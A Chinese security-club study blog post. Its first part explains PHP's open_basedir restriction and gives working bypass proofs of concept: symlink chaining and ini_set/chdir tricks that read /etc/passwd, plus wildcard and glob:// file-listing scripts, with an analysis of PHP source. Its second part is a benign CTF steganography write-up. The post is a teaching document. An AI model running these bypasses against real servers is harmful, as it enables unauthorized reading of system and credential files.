皮蛋厂的学习日记 2022.02.17 你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

admin 2022年2月17日21:44:42评论88 views字数 10517阅读35分3秒阅读模式

皮蛋厂的学习日记系列为山东警察学院网安社成员日常学习分享,希望能与大家共同学习、共同进步~


  • 2020级 AndyNoel | 你的open_basedir()真的安全吗?

    • 前言

    • open_basedir

    • Bypass

  • 2019级Marmalade | 第二届bmzctf-easymisc


WEB

2020级 AndyNoel | 你的open_basedir()真的安全吗?

前言

这个东西很多师傅都玩烂了,我是这几天在某次出题搭环境的时候才学习的。。。

open_basedir

看一下php.ini里面的描述:

; open_basedir, if set, limits all file operations to the defined directory
and below. This directive makes most sense if used in a per-directory or
; per-virtualhost web server configuration file. This directive is
; *NOT* affected by whether Safe Mode is turned On or Off.

open_basedir可将用户访问文件的活动范围限制在指定的区域,通常是其目录的路径,也可用符号"."来代表当前目录。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。(其实我也是才知道的)

比如open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的,所以如果要将访问限制在仅为指定的目录,可以将open_basedir = /dir/user/

Bypass

命令执行

为什么选命令执行,因为open_basedir和命令执行无关😅,就可以直接获取目标文件。

如果遇到disable_functions,就多换几个函数;如果关键字被过滤,办法也很多,可以参考大佬文章

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

syslink() php 4/5/7/8

symlink(string $target, string $link): bool

原理是创建一个链接文件 aaa 用相对路径指向 A/B/C/D,再创建一个链接文件 exp 指向 aaa/../../../../etc/passwd,其实就是指向了 A/B/C/D/../../../../etc/passwd,也就是/etc/passwd。这时候删除 aaa 文件再创建 aaa 目录但是 exp 还是指向了 aaa 也就是 A/B/C/D/../../../../etc/passwd,就进入了路径/etc/passwd

payload 构造的注意点就是:要读的文件需要往前跨多少路径,就得创建多少层的子目录,然后输入多少个../来设置目标文件。

<?php
highlight_file(__FILE__);
mkdir("A");
chdir("A");
mkdir("B");
chdir("B");
mkdir("C");
chdir("C");
mkdir("D");
chdir("D");
chdir("..");
chdir("..");
chdir("..");
chdir("..");
symlink("A/B/C/D","aaa");
symlink("aaa/../../../../etc/passwd","exp");
unlink("aaa");
mkdir("aaa");
?>

暴力破解

realpath()

realpath是用来将参数path所指的相对路径转换成绝对路径,然后存于参数resolved_path所指的字符串 数组 或 指针 中的一个函数。如果resolved_path为NULL,则该函数调用malloc分配一块大小为PATH_MAX的内存来存放解析出来的绝对路径,并返回指向这块区域的指针。

有意思的是,在开启open_basedir后,当我们传入的路径是一个不存在的文件(目录)时,它将返回false;当我们传入一个不在open_basedir里的文件(目录)时,他将抛出错误(File is not within the allowed path(s))。

如果一直爆破,是特别麻烦的。。。所以可以借助通配符来进行爆破,条件:Windows环境。

<?php
highlight_file(__FILE__);
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
set_error_handler('isexists');
$dir = 'd:/WEB/';
$file = '';
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789_';
for ($i=0; $i < strlen($chars); $i++) { 
    $file = $dir . $chars[$i] . '<><';
    realpath($file);
}
function isexists($errno, $errstr)
{
    $regexp = '/File((.*)) is not within/';
    preg_match($regexp, $errstr, $matches);
    if (isset($matches[1])) {
        printf("%s <br/>", $matches[1]);
    }
}
?>

bindtextdomain()以及SplFileInfo::getRealPath()

除了realpath(),还有bindtextdomain()和SplFileInfo::getRealPath()作用类似。同样是可以得到绝对路径。

bindtextdomain(string $domain, ?string $directory): string|false

$directory存在时,会返回$directory的值,若不存在,则返回false。

另外值得注意的是,Windows环境下是没有bindtextdomain函数的,而在Linux环境下是存在的。

SplFileInfo 类为单个文件的信息提供高级面向对象的接口,SplFileInfo::getRealPath 类方法是用于获取文件的绝对路径。

为什么把这两个放在一块?因为和上面的 bindtextdomain 一样,是基于报错判断的,然后再进行爆破。

<?php
ini_set('open_basedir', dirname(__FILE__));
printf("<b>open_basedir: %s</b><br />", ini_get('open_basedir'));
$basedir = 'D:/test/';
$arr = array();
$chars = 'abcdefghijklmnopqrstuvwxyz0123456789';
for ($i=0; $i < strlen($chars); $i++) { 
    $info = new SplFileInfo($basedir . $chars[$i] . '<><');
    $re = $info->getRealPath();
    if ($re) {
        dump($re);
    }
}
function dump($s){
    echo $s . '<br/>';
    ob_flush();
    flush();
}
?>

glob://伪协议

glob:// — 查找匹配的文件路径模式

设计缺陷导致的任意文件名列出 :由于PHP在设计的时候(可以通过源码来进行分析),对于glob伪协议的实现过程中不检测open_basedir,以及safe_mode也是不会检测的,由此可利用glob://罗列文件名

(也就是说在可读权限下,可以得到文件名,但无法读取文件内容;也就是单纯的罗列目录,能用来绕过open_basedir)

单用 glob://是没有办法绕过的,要结合其它函数来实现

DirectoryIterator+glob://

DirectoryIterator 是php5中增加的一个类,为用户提供一个简单的查看目录的接口,结合这两个方式,我们就可以在php5.3以后版本对目录进行列举。

<?php
highlight_file(__FILE__);
printf('<b>open_basedir : %s </b><br />', ini_get('open_basedir'));
$a = $_GET['a'];
$b = new DirectoryIterator($a);
foreach($b as $c){
 echo($c->__toString().'<br>');
}
?>
皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

即可列出根目录下的文件,但有一个问题是,只能列举出根目录和open_basedir指定目录下文件,其他目录不可。

opendir()+readdir()+glob://

opendir() 函数打开目录,readdir() 函数为读取条目。结合两个函数即可列举根目录中的文件:

<?php
highlight_file(__FILE__);
$a = $_GET['c'];
if ( $b = opendir($a) ) {
 while ( ($file = readdir($b)) !== false ) {
     echo $file."<br>";
 }
 closedir($b);
}
?>

同样,只能列举出根目录和open_basedir指定目录下文件,其他目录不可。

姿势最骚的——利用ini_set()绕过

ini_set()

ini_set()用来设置php.ini的值,在函数执行的时候生效,脚本结束后,设置失效。无需打开php.ini文件,就能修改配置。函数用法如下:

ini_set ( string $varname , string $newvalue ) : string

POC

<?php
highlight_file(__FILE__);
mkdir('Andy');  //创建目录
chdir('Andy');  //切换目录
ini_set('open_basedir','..');  //把open_basedir切换到上层目录
chdir('..');  //切换到根目录
chdir('..');
chdir('..');
ini_set('open_basedir','/');  //设置open_basedir为根目录
echo file_get_contents('/etc/passwd');  //读取/etc/passwd

底层分析

从php底层去研究ini_set属于web-pwn的范畴了,这一块我真的不会,所以去请教了一位二进制的师傅,指导了一下入手点。

if (php_check_open_basedir_ex(ptr, 0) != 0) {
            /* At least one portion of this open_basedir is less restrictive than the prior one, FAIL */
            efree(pathbuf);
            return FAILURE;
        }

php_check_open_basedir_ex()如果想要利用ini_set覆盖之前的open_basedir,那么必须通过该校验。

那我们跟进此函数

if (strlen(path) > (MAXPATHLEN - 1)) {
    php_error_docref(NULL, E_WARNING, "File name is longer than the maximum allowed path length on this platform (%d): %s", MAXPATHLEN, path);
    errno = EINVAL;
    return -1;
}
#define PATH_MAX                 1024   /* max bytes in pathname */

该函数会判断路径名称是否过长,在官方设定中给定范围是小于1024。

此外,另一个检测函数php_check_specific_open_basedir(),同样我们继续跟进

if (strcmp(basedir, ".") || !VCWD_GETCWD(local_open_basedir, MAXPATHLEN)) {
        /* Else use the unmodified path */
        strlcpy(local_open_basedir, basedir, sizeof(local_open_basedir));
    }
path_len = strlen(path);
if (path_len > (MAXPATHLEN - 1)) {
    /* empty and too long paths are invalid */
    return -1;
}

比对目录,并给local_open_basedir进行赋值,并检查目录名的长度是否合法,接下来,利用expand_filepath()将传入的path,以绝对路径的格式保存在resolved_name,将local_open_basedir的值存放于resolved_basedir,然后二者进行比较。

if (strncmp(resolved_basedir, resolved_name, resolved_basedir_len) == 0
{
    if (resolved_name_len > resolved_basedir_len && resolved_name[resolved_basedir_len - 1] != PHP_DIR_SEPARATOR) {return -1;} 
    else {
                /* File is in the right directory */
                return 0;
        }
}
else {
            /* /openbasedir/ and /openbasedir are the same directory */
    if (resolved_basedir_len == (resolved_name_len + 1) && resolved_basedir[resolved_basedir_len - 1] == PHP_DIR_SEPARATOR) 
    {        
        if (strncasecmp(resolved_basedir, resolved_name, resolved_name_len) == 0
        {
            if (strncmp(resolved_basedir, resolved_name, resolved_name_len) == 0
            {
                return 0;
            }
        }
        return -1;
    }
}

进行比较的两个值均是由expand_filepath函数生成的,因此要实现bypass php_check_open_basedir_ex,关键就是bypass expand_filepath

还是一样,跟进expand_filepath函数

根据师傅所说,在我们跟进到virtual_file_ex得到关键语句:

if (!IS_ABSOLUTE_PATH(path, path_length)) {
    if (state->cwd_length == 0) {
        /* 保存 relative path */
        start = 0;
        memcpy(resolved_path , path, path_length + 1);
    } else {
        int state_cwd_length = state->cwd_length;
       state->cwd_length = path_length;
       memcpy(state->cwd, resolved_path, state->cwd_length+1);

是目录拼接操作,如果path不是绝对路径,同时state->cwd_length == 0长度为0,那么会将path作为绝对路径,储存在resolved_path。否则将会在state->cwd后拼接,那么重点就在于path_length

path_length = tsrm_realpath_r(resolved_path, start, path_length, &ll, &t, use_realpath, 0NULL);
/*tsrm_realpath_r():删除双反斜线 .  .. 和前一个目录*/

总的来说,expand_filepath()在保存相对路径和绝对路径的时候,而open_basedir()如果为相对路径的话,是会实时变化的,这就是问题所在。在POC中每次目录操作都会进行一次open_basedir的比对,即php_check_open_basedir_ex。由于相对路径的问题,每次open_basedir的目录全都会上跳。

比如初始设定open_basedir为/a/b/c/d,第一次chdir后变为/a/b/c,第二次chdir后变为/a/b,第三次chdir后变为/a,第四次chdir后变为/,那么这时候再进行ini_set,调整open_basedir为/即可通过php_check_open_basedir_ex的校验,成功覆盖,导致我们可以bypass open_basedir。

MISC

2019级Marmalade | 第二届bmzctf-easymisc

题目思路:

逆序字节流数据->wav文件->高低振幅转换->LSB隐写->异或测试

给到一个what文件,拖入winhex查看未发现文件头

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

文件尾部发现

RIFF、 WAVE、fmt等字样的倒序,这是

wav文件的文件头部分,于是考虑反转字节流

from binascii import *

with open('what''rb'as f:
    hex_data = hexlify(f.read()).decode()[::-1]
    with open('what.wav''wb'as f1:
        for i in range(0, len(hex_data), 2):
            data = hex_data[i:i+2][::-1]
            f1.write(unhexlify(data))

得到what.wav文件,使用

Audacity分析

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

每一帧高低频区别明显,高频在一定的范围内,低频也在一定的范围内

我们需要分析振幅的规律

import wave

obj = wave.open('data.wav''r')
frames = obj.getnframes()
print("All Frames: {}".format(frames))
frames_data = obj.readframes(20).hex()#提取出前20帧的数据
for i in range(0, len(frames_data), 4):
    data = frames_data[i:i+4]
    real_data = int(data[2:] + data[:2], 16)
    data1 = data[2:] + data[:2]
    print("第{:<2}帧: {} => {}  真实数据值: {}".format(int((i+4)/4), data,data1 , real_data))

提取出来的每一帧的数据大小为

两字节,且存储方式为

小端存储,需要高字节位和低字节位换一下,然后转换成数值

下面参照出题人末初大佬的思路

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

先分析正振幅的数据,确认高振幅范围为:

30000-32000,低振幅范围为:

18000-20000

但是负振幅数据无论高振幅还是低振幅,都不在这个范围之内,原因是发生了溢出

带符号的2字节整型

的取值范围是:[-2^(15)] ~ [2^(15)-1]

也就是-32768至32767之间,所以需要对负振幅的数值进行转换

参照出题人的转换思路

>>> import math
>>> math.pow(2,15)-(45650-math.pow(2,15))
19886.0#第二帧
>>> math.pow(2,15)-(47417-math.pow(2,15))
18119.0#第三帧
>>> math.pow(2,15)-(33915-math.pow(2,15))
31621.0#第五帧
>>> math.pow(2,15)-(35258-math.pow(2,15))
30278.0#第十二帧

将负振幅的数据进行转换,之后使用Python脚本将高低振幅转换成二进制数据,然后将二进制数据写成字节流并转换成文件

import wave, math, struct
from binascii import *

obj = wave.open('what.wav''r')
frames = obj.getnframes()
frames_data = obj.readframes(frames).hex()

bin_data = ''
for idx in range(0, len(frames_data), 4):
    data = frames_data[idx:idx+4]
    data = data[2:] + data[:2]
    if int(data, 16) <= 20000:
        bin_data += '0'
    elif int(data, 16) > 20000 and int(data, 16) <= 32000:
        bin_data += '1'
    elif int(data, 16) > math.pow(215):
        overflow_data = math.pow(215) - (int(data, 16) - math.pow(215))
        if overflow_data > 20000 and overflow_data <= 32000:
            bin_data += '1'
        elif overflow_data <= 20000:
            bin_data += '0'

hex_data = ''
for idx in range(0, len(bin_data), 8):
    hex_data += '{:02x}'.format(int(bin_data[idx:idx+8], 2))

with open('data''wb'as f1:
    f1.write(unhexlify(hex_data))

成功转为data文件,再拖入kali分析文件类型

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

看到得到了一张图片,binwalk分析文件尾有东西

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

这里后面是添加的内容

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

stegsolve里分析发现了lsb隐写

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

这里的hint提示异或[00-ff]范围里的一个值,猜测附加的数据是经过异或的。

这里可以考虑尝试提取开头的部分字节进行异或来查看结果是否是常见文件头,使用Python脚本进行处理

head_bytes = 'F6 2F 31 38'
for n in range(0xff):
    hex_data = head_bytes.split(" ")
    xor_data = ''
    for data in hex_data:
        data = int(data, 16) ^ n
        xor_data += ' {:02x}'.format(data)
    print("XOR {:02x}: {}".format(n, xor_data))

找啊找,找到熟悉的89504e47

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

接着使用010editor工具进行二进制异或

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

保存到桌面是一个png二维码图片,扫码得flag

皮蛋厂的学习日记 2022.02.17  你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

参考链接https://blog.csdn.net/mochu7777777/article/details/122005160?utm_medium=distribute.pc_aggpage_search_result.none-task-blog-2~aggregatepage~first_rank_ecpm_v1~rank_v31_ecpm-1-122005160.pc_agg_new_rank&amp;&utm_term=BMZCTF&amp;&spm=1000.2123.3001.4430


原文始发于微信公众号(山警网络空间安全实验室):皮蛋厂的学习日记 2022.02.17 你的open_basedir()真的安全吗? & 第二届bmzctf-easymisc

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月17日21:44:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   皮蛋厂的学习日记 2022.02.17 你的open_basedir()真的安全吗? & 第二届bmzctf-easymischttp://cn-sec.com/archives/790748.html

发表评论

匿名网友 填写信息